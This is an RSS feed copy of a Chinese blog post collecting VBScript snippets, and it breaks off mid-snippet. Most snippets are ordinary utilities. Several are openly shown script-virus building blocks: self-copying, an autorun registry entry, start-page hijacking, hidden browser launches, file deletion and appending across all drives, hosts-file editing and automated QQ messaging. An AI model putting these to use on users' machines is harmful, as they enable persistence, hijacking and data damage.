<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>奋斗博客 &#187; vbs脚本</title>
	<atom:link href="http://www.fendou.info/tag/vbs%e8%84%9a%e6%9c%ac/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.fendou.info</link>
	<description>WordPress&#124;SEO&#124;Web&#124;Linux&#124;Windows&#124;Android</description>
	<lastBuildDate>Tue, 07 Feb 2012 12:04:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>VBS代码收集</title>
		<link>http://www.fendou.info/vbs-code-collect/</link>
		<comments>http://www.fendou.info/vbs-code-collect/#comments</comments>
		<pubDate>Fri, 29 Jan 2010 08:01:21 +0000</pubDate>
		<dc:creator>dev</dc:creator>
				<category><![CDATA[操作系统]]></category>
		<category><![CDATA[VBS]]></category>
		<category><![CDATA[VBS代码]]></category>
		<category><![CDATA[vbs脚本]]></category>
		<category><![CDATA[经典vbs代码]]></category>

		<guid isPermaLink="false">http://www.fendou.info/?p=860</guid>
		<description><![CDATA[昨天为了解密那个加密的vbs脚本，在网上查找资料的时候发现好多经典的vbs代码，收集起来也为了以后学习。

VBS脚本用途很多：

1. 计算
2. 处理文件和文件夹
3. 管理Windows
4. 处理Word, Excel, PowerPoint等Office文档
5. 嵌入网页，驱动dHTML
6. 编写HTTP通信
7. 调用系统功能（COM组件），比如说语音说话
8. 分析HTML, XML
9. 调用命令行并分析返回结果
10. 处理图片
11. 自动化按键
12. 调用Windows Media Player并管理
13. 调用Windows Live Messenger并管理
14. 服务端技术：Active Server Page (ASP)
15. 脚本病毒
16. 处理数据库 

下面是我收集的VBS代码，大部分转自gangzi.org，以后还会更新。 <a href="http://www.fendou.info/vbs-code-collect/">继续阅读 <span class="meta-nav">&#8594;</span></a><table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="5"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;"></font></b></td>
    </tr>
    
        <tr>
                <td width="111" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="VBS代码加密解密" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.fendou.info%2Fvbs-code-encode-and-unencode%2F&from=http%3A%2F%2Fwww.fendou.info%2Fvbs-code-collect%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 105px !important; height: 105px !important;" src="http://static.wumii.com/site_images/2011/10/16/9293540.png" width="105px" height="105px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 111px !important; font: 12px/15px arial !important; height: 45px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">VBS代码加密解密</font>
                    </a>
                </td>
                <td width="111" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="vbs脚本实现普通用户以管理员权限运行程序" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.fendou.info%2Fvbs-run-software-as-administrator%2F&from=http%3A%2F%2Fwww.fendou.info%2Fvbs-code-collect%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 105px !important; height: 105px !important;" src="http://static.wumii.com/site_images/2011/10/16/9293898.jpg" width="105px" height="105px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 111px !important; font: 12px/15px arial !important; height: 45px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">vbs脚本实现普通用户以管理员权限运行程序</font>
                    </a>
                </td>
                <td width="111" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="VBS脚本得到CPU使用率，硬盘使用率和内存使用率" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.fendou.info%2Fvbs-get-cpu-harddisk-ram-rate%2F&from=http%3A%2F%2Fwww.fendou.info%2Fvbs-code-collect%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 105px !important; height: 105px !important;" src="http://static.wumii.com/site_images/2011/12/09/12114386.gif" width="105px" height="105px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 111px !important; font: 12px/15px arial !important; height: 45px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">VBS脚本得到CPU使用率，硬盘使用率和内存使用率</font>
                    </a>
                </td>
                <td width="111" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="自动识别搜索引擎蜘蛛并引导到指定网站代码" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.fendou.info%2Fautomatically-identify-search-engine-spiders-and-guide-to-the-specified-site-code%2F&from=http%3A%2F%2Fwww.fendou.info%2Fvbs-code-collect%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 105px !important; height: 105px !important;" src="http://static.wumii.com/site_images/2012/02/04/14747544.jpg" width="105px" height="105px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 111px !important; font: 12px/15px arial !important; height: 45px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">自动识别搜索引擎蜘蛛并引导到指定网站代码</font>
                    </a>
                </td>
                <td width="111" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="给网站添加设为主页代码" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.fendou.info%2Fhobby%2Fweb-design%2Fadd-the-code-to-the-web-site-homepage.html&from=http%3A%2F%2Fwww.fendou.info%2Fvbs-code-collect%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 105px !important; height: 105px !important;" src="http://static.wumii.com/site_images/2011/09/23/33552716.gif" width="105px" height="105px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 111px !important; font: 12px/15px arial !important; height: 45px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">给网站添加设为主页代码</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="5" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>昨天为了解密那个加密的vbs脚本，在网上查找资料的时候发现好多经典的vbs代码，收集起来也为了以后学习。</p>
<p>VBS脚本用途很多：</p>
<p>1. 计算<br />
2. 处理文件和文件夹<br />
3. 管理Windows<br />
4. 处理Word, Excel, PowerPoint等Office文档<br />
5. 嵌入网页，驱动dHTML<br />
6. 编写HTTP通信<br />
7. 调用系统功能（COM组件），比如说语音说话<br />
8. 分析HTML, XML<br />
9. 调用命令行并分析返回结果<br />
10. 处理图片<br />
11. 自动化按键<br />
12. 调用Windows Media Player并管理<br />
13. 调用Windows Live Messenger并管理<br />
14. 服务端技术：Active Server Page (ASP)<br />
15. 脚本病毒<br />
16. 处理数据库 </p>
<p>下面是我收集的VBS代码，大部分转自gangzi.org，以后还会更新。<span id="more-860"></span></p>
<p><strong>VBS获取系统安装路径</strong></p>
<p>先定义这个变量是获取系统安装路径的，然后我们用”&#038;strWinDir&#038;”调用这个变量。</p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">set WshShell = WScript.CreateObject(&quot;WScript.Shell&quot;)
strWinDir = WshShell.ExpandEnvironmentStrings(&quot;%WinDir%&quot;)</pre></div></div>

<p><strong>VBS获取C:\Program Files路径</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">msgbox CreateObject(&quot;WScript.Shell&quot;).ExpandEnvironmentStrings(&quot;%ProgramFiles%&quot;)</pre></div></div>

<p><strong>VBS获取C:\Program Files\Common Files路径</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">msgbox CreateObject(&quot;WScript.Shell&quot;).ExpandEnvironmentStrings(&quot;%CommonProgramFiles%&quot;)</pre></div></div>

<p><strong>给桌面添加网址快捷方式</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">set gangzi = WScript.CreateObject(&quot;WScript.Shell&quot;)
strDesktop = gangzi.SpecialFolders(&quot;Desktop&quot;)
set oShellLink = gangzi.CreateShortcut(strDesktop &amp; &quot;\Internet Explorer.lnk&quot;)
oShellLink.TargetPath = &quot;http://www.fendou.info&quot;
oShellLink.Description = &quot;Internet Explorer&quot;
oShellLink.IconLocation = &quot;%ProgramFiles%\Internet Explorer\iexplore.exe, 0&quot;
oShellLink.Save</pre></div></div>

<p><strong>给收藏夹添加网址</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Const ADMINISTRATIVE_TOOLS = 6
&nbsp;
Set objShell = CreateObject(&quot;Shell.Application&quot;)
Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)
Set objFolderItem = objFolder.Self    
&nbsp;
Set objShell = WScript.CreateObject(&quot;WScript.Shell&quot;)
strDesktopFld = objFolderItem.Path
Set objURLShortcut = objShell.CreateShortcut(strDesktopFld &amp; &quot;\奋斗Blog.url&quot;)
objURLShortcut.TargetPath = &quot;http://www.fendou.info/&quot;
objURLShortcut.Save</pre></div></div>

<p><strong>删除指定目录指定后缀文件</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">On Error Resume Next
Set fso = CreateObject(&quot;Scripting.FileSystemObject&quot;)
fso.DeleteFile &quot;C:\*.vbs&quot;, True
Set fso = Nothing</pre></div></div>

<p><strong>VBS改主页</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Set oShell = CreateObject(&quot;WScript.Shell&quot;)
oShell.RegWrite &quot;HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page&quot;,&quot;http://www.fendou.info&quot;</pre></div></div>

<p><strong>VBS加启动项</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Set oShell=CreateObject(&quot;Wscript.Shell&quot;)
oShell.RegWrite &quot;HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd&quot;,&quot;cmd.exe&quot;</pre></div></div>

<p><strong>VBS复制自己</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">set copy1=createobject(&quot;scripting.filesystemobject&quot;)
copy1.getfile(wscript.scriptfullname).copy(&quot;c:\huan.vbs&quot;)</pre></div></div>

<p><strong>复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe文件到c盘的gangzi.exe)</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">set copy1=createobject(&quot;scripting.filesystemobject&quot;)
copy1.getfile(&quot;game.exe&quot;).copy(&quot;c:\gangzi.exe&quot;)</pre></div></div>

<p><strong>VBS获取系统临时目录</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Dim fso
Set fso = CreateObject(&quot;Scripting.FileSystemObject&quot;)
Dim tempfolder
Const TemporaryFolder = 2
Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)
Wscript.Echo tempfolder</pre></div></div>

<p><strong>就算代码出错 依然继续执行</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">On Error Resume Next</pre></div></div>

<p><strong>VBS打开网址</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Set objShell = CreateObject(&quot;Wscript.Shell&quot;)
objShell.Run(&quot;http://www.fendou.info/&quot;)</pre></div></div>

<p><strong>VBS发送邮件</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">NameSpace = &quot;http://schemas.microsoft.com/cdo/configuration/&quot;
Set Email = CreateObject(&quot;CDO.Message&quot;)
Email.From = &quot;发件@qq.com&quot;
Email.To = &quot;收件@qq.com&quot;
Email.Subject = &quot;Test sendmail.vbs&quot;
Email.Textbody = &quot;OK!&quot;
Email.AddAttachment &quot;C:\1.txt&quot;
With Email.Configuration.Fields
.Item(NameSpace&amp;&quot;sendusing&quot;) = 2
.Item(NameSpace&amp;&quot;smtpserver&quot;) = &quot;smtp.邮件服务器.com&quot;
.Item(NameSpace&amp;&quot;smtpserverport&quot;) = 25
.Item(NameSpace&amp;&quot;smtpauthenticate&quot;) = 1
.Item(NameSpace&amp;&quot;sendusername&quot;) = &quot;发件人用户名&quot;
.Item(NameSpace&amp;&quot;sendpassword&quot;) = &quot;发件人密码&quot;
.Update
End With
Email.Send</pre></div></div>

<p><strong>VBS结束进程</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">strComputer = &quot;.&quot;
Set objWMIService = GetObject _
    (&quot;winmgmts:\\&quot; &amp; strComputer &amp; &quot;\root\cimv2&quot;)
Set colProcessList = objWMIService.ExecQuery _
    (&quot;Select * from Win32_Process Where Name = 'Rar.exe'&quot;)
For Each objProcess in colProcessList
    objProcess.Terminate()
Next</pre></div></div>

<p><strong>VBS隐藏打开网址(部分浏览器无法隐藏打开，而是直接打开，适合主流用户使用)</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">createObject(&quot;wscript.shell&quot;).run &quot;iexplore http://www.fendou.info/&quot;,0</pre></div></div>

<p><strong>兼容所有浏览器，使用IE的绝对路径+参数打开，无法用函数得到IE安装路径，只用函数得到了Program Files路径，应该比上面的方法好，但是两种方法都不是绝对的。</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Set objws=WScript.CreateObject(&quot;wscript.shell&quot;)
objws.Run &quot;&quot;&quot;C:\Program Files\Internet Explorer\iexplore.exe&quot;&quot;www.baidu.com&quot;,vbhide</pre></div></div>

<p><strong>VBS遍历硬盘删除指定文件名</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">On Error Resume Next
Dim fPath
strComputer = &quot;.&quot;
Set objWMIService = GetObject _
    (&quot;winmgmts:\\&quot; &amp; strComputer &amp; &quot;\root\cimv2&quot;)
Set colProcessList = objWMIService.ExecQuery _
    (&quot;Select * from Win32_Process Where Name = 'gangzi.exe'&quot;)
For Each objProcess in colProcessList
    objProcess.Terminate()
Next
Set objWMIService = GetObject(&quot;winmgmts:&quot; _
&amp; &quot;{impersonationLevel=impersonate}!\\&quot; &amp; strComputer &amp; &quot;\root\cimv2&quot;)
Set colDirs = objWMIService. _
ExecQuery(&quot;Select * from Win32_Directory where name LIKE '%c:%' or name LIKE '%d:%' or name LIKE '%e:%' or name LIKE '%f:%' or name LIKE '%g:%' or name LIKE '%h:%' or name LIKE '%i:%'&quot;)
Set objFSO = CreateObject(&quot;Scripting.FileSystemObject&quot;)
For Each objDir in colDirs
fPath = objDir.Name &amp; &quot;\gangzi.exe&quot;
objFSO.DeleteFile(fPath), True
Next</pre></div></div>

<p><strong>VBS获取网卡MAC地址</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Dim mc,mo
Set mc=GetObject(&quot;Winmgmts:&quot;).InstancesOf(&quot;Win32_NetworkAdapterConfiguration&quot;)
For Each mo In mc
If mo.IPEnabled=True Then
MsgBox &quot;本机网卡MAC地址是: &quot; &amp; mo.MacAddress
Exit For
End If
Next</pre></div></div>

<p><strong>VBS获取本机注册表主页地址</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Set reg=WScript.CreateObject(&quot;WScript.Shell&quot;)
startpage=reg.RegRead(&quot;HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page&quot;)
MsgBox startpage</pre></div></div>

<p><strong>VBS遍历所有磁盘的所有目录，找到所有.txt的文件，然后给所有txt文件最底部加一句话</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">On Error Resume Next
Set fso = CreateObject(&quot;Scripting.FileSystemObject&quot;)
Co = VbCrLf &amp; &quot;路过。。。&quot;
&nbsp;
For Each i In fso.Drives
  If i.DriveType = 2 Then
    GF fso.GetFolder(i &amp; &quot;\&quot;)
  End If
Next
&nbsp;
Sub GF(fol)
  Wh fol
  Dim i
  For Each i In fol.SubFolders
    GF i
  Next
End Sub
&nbsp;
Sub Wh(fol)
  Dim i
  For Each i In fol.Files
    If LCase(fso.GetExtensionName(i)) = &quot;shtml&quot; Then
      fso.OpenTextFile(i,8,0).Write Co
    End If
  Next
End Sub</pre></div></div>

<p><strong>获取计算机所有盘符</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Set fso=CreateObject(&quot;scripting.filesystemobject&quot;)
Set objdrives=fso.Drives '取得当前计算机的所有磁盘驱动器
For Each objdrive In objdrives   '遍历磁盘
MsgBox objdrive
Next</pre></div></div>

<p><strong>VBS给本机所有磁盘根目录创建文件</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">On Error Resume Next
Set fso=CreateObject(&quot;Scripting.FileSystemObject&quot;)
Set gangzis=fso.Drives '取得当前计算机的所有磁盘驱动器
For Each gangzi In gangzis   '遍历磁盘
Set TestFile=fso.CreateTextFile(&quot;&quot;&amp;gangzi&amp;&quot;\新建文件夹.vbs&quot;,Ture)
TestFile.WriteLine(&quot;By www.gangzi.org&quot;)
TestFile.Close
Next</pre></div></div>

<p><strong>VBS遍历本机全盘找到所有123.exe，然后给他们改名321.exe</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">set fs = CreateObject(&quot;Scripting.FileSystemObject&quot;)
&nbsp;
for each drive in fs.drives
fstraversal drive.rootfolder
next
&nbsp;
sub fstraversal(byval this)
for each folder in this.subfolders
fstraversal folder
next
set files = this.files
for each file in files
if file.name = &quot;123.exe&quot; then file.name = &quot;321.exe&quot;
next
end sub</pre></div></div>

<p><strong>VBS写入代码到粘贴板（先说明一下，VBS写内容到粘贴板，网上千篇一律都是通过InternetExplorer.Application对象来实现，但是缺点是在默认浏览器为非IE中会弹出浏览器，所以费了很大的劲找到了这个代码来实现）</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">str=“这里是你要复制到剪贴板的字符串”
Set ws = wscript.createobject(&quot;wscript.shell&quot;)
ws.run &quot;mshta vbscript:clipboardData.SetData(&quot;+&quot;&quot;&quot;&quot;+&quot;text&quot;+&quot;&quot;&quot;&quot;+&quot;,&quot;+&quot;&quot;&quot;&quot;&amp;str&amp;&quot;&quot;&quot;&quot;+&quot;)(close)&quot;,0,true</pre></div></div>

<p><strong>QQ自动发消息</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">On Error Resume Next
str=&quot;我是笨蛋/qq&quot;
Set WshShell=WScript.CreateObject(&quot;WScript.Shell&quot;)
WshShell.run &quot;mshta vbscript:clipboardData.SetData(&quot;+&quot;&quot;&quot;&quot;+&quot;text&quot;+&quot;&quot;&quot;&quot;+&quot;,&quot;+&quot;&quot;&quot;&quot;&amp;str&amp;&quot;&quot;&quot;&quot;+&quot;)(close)&quot;,0
WshShell.run &quot;tencent://message/?Menu=yes&amp;uin=20016964&amp;Site=&amp;Service=200&amp;sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1&quot;,0,true
WScript.Sleep 3000
WshShell.SendKeys &quot;^v&quot;
WshShell.SendKeys &quot;%s&quot;</pre></div></div>

<p><strong>VBS隐藏文件</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Set objFSO = CreateObject(&quot;Scripting.FileSystemObject&quot;)
Set objFile = objFSO.GetFile(&quot;F:\软件大赛\show.txt&quot;)
If objFile.Attributes = objFile.Attributes AND 2 Then
    objFile.Attributes = objFile.Attributes XOR 2
End If</pre></div></div>

<p><strong>VBS生成随机数（521是生成规则，不同的数字生成的规则不一样，可以用于其它用途）</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Randomize 521
point=Array(Int(100*Rnd+1),Int(1000*Rnd+1),Int(10000*Rnd+1))
msgbox join(point,&quot;&quot;)</pre></div></div>

<p><strong>VBS删除桌面IE图标（非快捷方式）</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Set oShell = CreateObject(&quot;WScript.Shell&quot;)
oShell.RegWrite &quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon&quot;,1,&quot;REG_DWORD&quot;</pre></div></div>

<p><strong>VBS获取自身文件名</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Set fso = CreateObject(&quot;Scripting.FileSystemObject&quot;)
msgbox WScript.ScriptName</pre></div></div>

<p><strong>VBS读取Unicode编码的文件</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Set objFSO = CreateObject(&quot;Scripting.FileSystemObject&quot;)
Set objFile = objFSO.OpenTextFile(&quot;gangzi.txt&quot;,1,False,-1)
strText = objFile.ReadAll
objFile.Close
Wscript.Echo strText</pre></div></div>

<p><strong>VBS读取指定编码的文件（默认为uft-8）gangzi变量是要读取文件的路径</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">set stm2 =createobject(&quot;ADODB.Stream&quot;)
stm2.Charset = &quot;utf-8&quot;
stm2.Open
stm2.LoadFromFile gangzi
readfile = stm2.ReadText
MsgBox readfile</pre></div></div>

<p><strong>VBS禁用组策略</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Set oShell = CreateObject(&quot;WScript.Shell&quot;)
oShell.RegWrite &quot;HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins&quot;,1,&quot;REG_DWORD&quot;</pre></div></div>

<p><strong>VBS写指定编码的文件（默认为uft-8）gangzi变量是要读取文件的路径，gangzi2是内容变量</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">gangzi=&quot;1.txt&quot;
gangzi2=&quot;www.gangzi.org&quot;
Set Stm1 = CreateObject(&quot;ADODB.Stream&quot;)
Stm1.Type = 2
Stm1.Open
Stm1.Charset = &quot;UTF-8&quot;
Stm1.Position = Stm1.Size
Stm1.WriteText gangzi2
Stm1.SaveToFile gangzi,2
Stm1.Close
set Stm1 = nothing</pre></div></div>

<p><strong>VBS获取当前目录下所有文件夹名字（不包括子文件夹）</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Set fso=CreateObject(&quot;scripting.filesystemobject&quot;)
Set f=fso.GetFolder(fso.GetAbsolutePathName(&quot;.&quot;))
Set folders=f.SubFolders
For Each fo In folders
  wsh.echo fo.Name
Next
Set folders=Nothing
Set f=nothing
Set fso=nothing</pre></div></div>

<p><strong>VBS获取指定目录下所有文件夹名字（包括子文件夹）</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Dim t
Set fso=WScript.CreateObject(&quot;scripting.filesystemobject&quot;)
Set fs=fso.GetFolder(&quot;d:\&quot;)
WScript.Echo aa(fs)
Function aa(n)
Set f=n.subfolders
For Each uu In f
Set op=fso.GetFolder(uu.path)
t=t &amp; vbcrlf &amp; op.path
Call aa(op)
Next
aa=t
End function</pre></div></div>

<p><strong>VBS创建.URL文件（IconIndex参数不同的数字代表不同的图标，具体请参照SHELL32.dll里面的所有图标）</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">set fso=createobject(&quot;scripting.filesystemobject&quot;)
qidong=qidong&amp;&quot;[InternetShortcut]&quot;&amp;Chr(13)&amp;Chr(10)
qidong=qidong&amp;&quot;URL=http://www.fendou.info&quot;&amp;Chr(13)&amp;Chr(10)
qidong=qidong&amp;&quot;IconFile=C:\WINDOWS\system32\SHELL32.dll&quot;&amp;Chr(13)&amp;Chr(10)
qidong=qidong&amp;&quot;IconIndex=130&quot;&amp;Chr(13)&amp;Chr(10)
Set TestFile=fso.CreateTextFile(&quot;qq.url&quot;,Ture)
TestFile.WriteLine(qidong)
TestFile.Close</pre></div></div>

<p><strong>VBS写hosts（没写判断，无论存不存在都追加底部）</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Set fs = CreateObject(&quot;Scripting.FileSystemObject&quot;)
path = &quot;&quot;&amp;fs.GetSpecialFolder(1)&amp;&quot;\drivers\etc\hosts&quot;
Set f = fs.OpenTextFile(path,8,TristateFalse)
f.Write &quot;&quot;&amp;vbcrlf&amp;&quot;127.0.0.1 www.g.cn&quot;&amp;vbcrlf&amp;&quot;127.0.0.1 g.cn&quot;
f.Close</pre></div></div>

<p><strong>VBS读取出HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace 下面所有键的名字并循环输出</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Const HKLM = &amp;H80000002
strPath = &quot;SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace&quot;
Set oreg = GetObject(&quot;Winmgmts:\root\default:StdRegProv&quot;)
    oreg.EnumKey HKLM,strPath,arr
    For Each x In arr
        WScript.Echo x
    Next</pre></div></div>

<p><strong>VBS创建txt文件</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Dim fso,TestFile
Set fso=CreateObject(&quot;Scripting.FileSystemObject&quot;)
Set TestFile=fso.CreateTextFile(&quot;C:\hello.txt&quot;,Ture)
TestFile.WriteLine(&quot;Hello,World!&quot;)
TestFile.Close</pre></div></div>

<p><strong>VBS创建文件夹</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Dim fso,fld
Set fso=CreateObject(&quot;Scripting.FileSystemObject&quot;)
Set fld=fso.CreateFolder(&quot;C:\newFolder&quot;)</pre></div></div>

<p><strong>VBS判断文件夹是否存在</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Dim fso,fld
Set fso=CreateObject(&quot;Scripting.FileSystemObject&quot;)
If (fso.FolderExists(&quot;C:\newFolder&quot;)) Then
msgbox(&quot;Folder exists.&quot;)
else
set fld=fso.CreateFolder(&quot;C:\newFolder&quot;)
End If</pre></div></div>

<p><strong>VBS使用变量判断文件夹</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Dim fso,fld
drvName=&quot;C:\&quot;
fldName=&quot;newFolder&quot;
Set fso=CreateObject(&quot;Scripting.FileSystemObject&quot;)
If (fso.FolderExists(drvName&amp;fldName)) Then
msgbox(&quot;Folder exists.&quot;)
else
set fld=fso.CreateFolder(drvName&amp;fldName)
End If</pre></div></div>

<p><strong>VBS加输入框</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Dim fso,TestFile,fileName,drvName,fldName
drvName=inputbox(&quot;Enter the drive to save to:&quot;,&quot;Drive letter&quot;)
fldName=inputbox(&quot;Enter the folder name:&quot;,&quot;Folder name&quot;)
fileName=inputbox(&quot;Enter the name of the file:&quot;,&quot;Filename&quot;)
Set fso=CreateObject(&quot;Scripting.FileSystemObject&quot;)
&nbsp;
If(fso.FolderExists(drvName&amp;fldName))Then
msgbox(&quot;Folder exists&quot;)
Else
Set fld=fso.CreateFolder(drvName&amp;fldName)
End If
&nbsp;
Set TestFile=fso.CreateTextFile(drvName&amp;fldName&amp;&quot;\&quot;&amp;fileName&amp;&quot;.txt&quot;,True)
&nbsp;
TestFile.WriteLine(&quot;Hello,World!&quot;)
TestFile.Close</pre></div></div>

<p><strong>VBS检查是否有相同文件</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Dim fso,TestFile,fileName,drvName,fldName
drvName=inputbox(&quot;Enter the drive to save to:&quot;,&quot;Drive letter&quot;)
fldName=inputbox(&quot;Enter the folder name:&quot;,&quot;Folder name&quot;)
fileName=inputbox(&quot;Enter the name of the file:&quot;,&quot;Filename&quot;)
Set fso=CreateObject(&quot;Scripting.FileSystemObject&quot;)
&nbsp;
If(fso.FolderExists(drvName&amp;fldName))Then
msgbox(&quot;Folder exists&quot;)
Else
Set fld=fso.CreateFolder(drvName&amp;fldName)
End If
&nbsp;
If(fso.FileExists(drvName&amp;fldName&amp;&quot;\&quot;&amp;fileName&amp;&quot;.txt&quot;))Then
msgbox(&quot;File already exists.&quot;)
Else
